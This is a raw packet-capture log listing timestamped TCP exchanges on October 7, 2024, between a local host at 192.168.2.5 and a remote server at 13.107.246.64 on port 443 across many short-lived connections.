Oct 7, 2024 18:00:30.132882118 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.132891893 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.132898092 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.135339022 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.135377884 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.135452986 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.135644913 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.135658979 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495630026 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495690107 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495701075 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495760918 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.495765924 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495806932 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.495953083 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.495954990 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.495974064 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495974064 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.495999098 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.496004105 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.496004105 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.496014118 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.498258114 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.506346941 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.506376982 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.507083893 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.507095098 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.529055119 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.529067039 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.529118061 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.534845114 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.534866095 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.534984112 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.534993887 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.535020113 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.535212040 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.535233021 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.601805925 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.601882935 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.602013111 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.614228010 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.614247084 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.614259958 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.614267111 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.618148088 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.618179083 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.618242979 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.619235992 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.619254112 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.757420063 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.758302927 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.758315086 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.759407043 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.759419918 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.793123960 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.793610096 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.793643951 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.794286013 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.794292927 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.882391930 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.882457018 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.882744074 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.883198977 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.883198977 CEST	49781	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.883228064 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.883236885 CEST	443	49781	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.885462999 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.885498047 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.887995958 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.888278008 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.888288021 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.894520998 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.894578934 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.894933939 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.895034075 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.895034075 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.895042896 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.895054102 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.897486925 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.897517920 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.897864103 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.898047924 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.898061037 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.173312902 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.173877954 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.173894882 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.174463034 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.174468994 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.216232061 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.222112894 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.222134113 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.223042011 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.223047972 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.271050930 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.272445917 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.272455931 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.272706985 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.272711992 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.275193930 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.275254965 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.275410891 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.276685953 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.276685953 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.276695013 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.276704073 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.278841972 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.278876066 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.279309988 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.279309988 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.279340982 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.328851938 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.328907013 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.328986883 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.329951048 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.329951048 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.329984903 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.329993963 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.333813906 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.333910942 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.334055901 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.334291935 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.334327936 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.374344110 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.374416113 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.374526024 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.374974012 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.374974012 CEST	49786	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.374988079 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.374996901 CEST	443	49786	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.378046036 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.378082991 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.378216982 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.378540039 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.378554106 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.523317099 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.524275064 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.524275064 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.524301052 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.524311066 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.571104050 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.571666956 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.571686983 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.572443962 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.572455883 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.619019985 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.619077921 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.619237900 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.619610071 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.619610071 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.619625092 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.619632959 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.622515917 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.622581959 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.623276949 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.623276949 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.623328924 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.673609018 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.673676014 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.673829079 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.674012899 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.674012899 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.674041986 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.674051046 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.677006006 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.677036047 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.677309990 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.677309990 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.677347898 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.927018881 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.928560019 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.928580046 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.929526091 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.929531097 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.943284035 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.944427967 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.944433928 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:31.945128918 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:31.945132971 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.029270887 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.029336929 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.029416084 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.034158945 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.034179926 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.034193039 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.034199953 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.038535118 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.038568974 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.038647890 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.038796902 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.038804054 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.040033102 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.040100098 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.040184021 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.042460918 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.042473078 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.042486906 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.042491913 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.046876907 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.046927929 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.047416925 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.047416925 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.047461987 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.071893930 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.072642088 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.072654963 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.073105097 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.073108912 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.210743904 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.210813046 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.210859060 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.211174965 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.211194992 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.211381912 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.211394072 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.214328051 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.214410067 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.214485884 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.214694977 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.214725971 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.277682066 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.278342009 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.278366089 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.279233932 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.279247999 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.312526941 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.313065052 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.313074112 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.313702106 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.313707113 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.372899055 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.373061895 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.373217106 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.373382092 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.373382092 CEST	49792	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.373410940 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.373424053 CEST	443	49792	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.376569986 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.376597881 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.376672983 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.376876116 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.376893044 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.414164066 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.414232969 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.414283037 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.414705038 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.414711952 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.414722919 CEST	49793	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.414727926 CEST	443	49793	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.418245077 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.418277025 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.418361902 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.418637991 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.418662071 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.621766090 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.622849941 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.622869968 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.624104023 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.624130964 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.678287983 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.680938005 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.680953026 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.681649923 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.681654930 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.720299959 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.720376015 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.720472097 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.720666885 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.720666885 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.720676899 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.720695019 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.723825932 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.723859072 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.723973989 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.724175930 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.724189043 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.760477066 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.761096954 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.761113882 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.761792898 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.761796951 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.779398918 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.779469013 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.779716969 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.779849052 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.779855967 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.779865026 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.779869080 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.782882929 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.782959938 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.783042908 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.783632040 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.783658981 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.858457088 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.858521938 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.858592987 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.858870983 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.858870983 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.858889103 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.858897924 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.862039089 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.862075090 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:32.862493038 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.862776041 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:32.862787962 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.016874075 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.017765045 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.017807961 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.018410921 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.018423080 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.033555984 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.034275055 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.034300089 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.034674883 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.034687042 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.130847931 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.130914927 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.131062031 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.131330967 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.131346941 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.131371975 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.131376982 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.134121895 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.134155035 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.135593891 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.135761023 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.135772943 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.137533903 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.137595892 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.138324976 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.138324976 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.138375998 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.138381958 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.141107082 CEST	49803	443	192.168.2.5	13.107.246.64
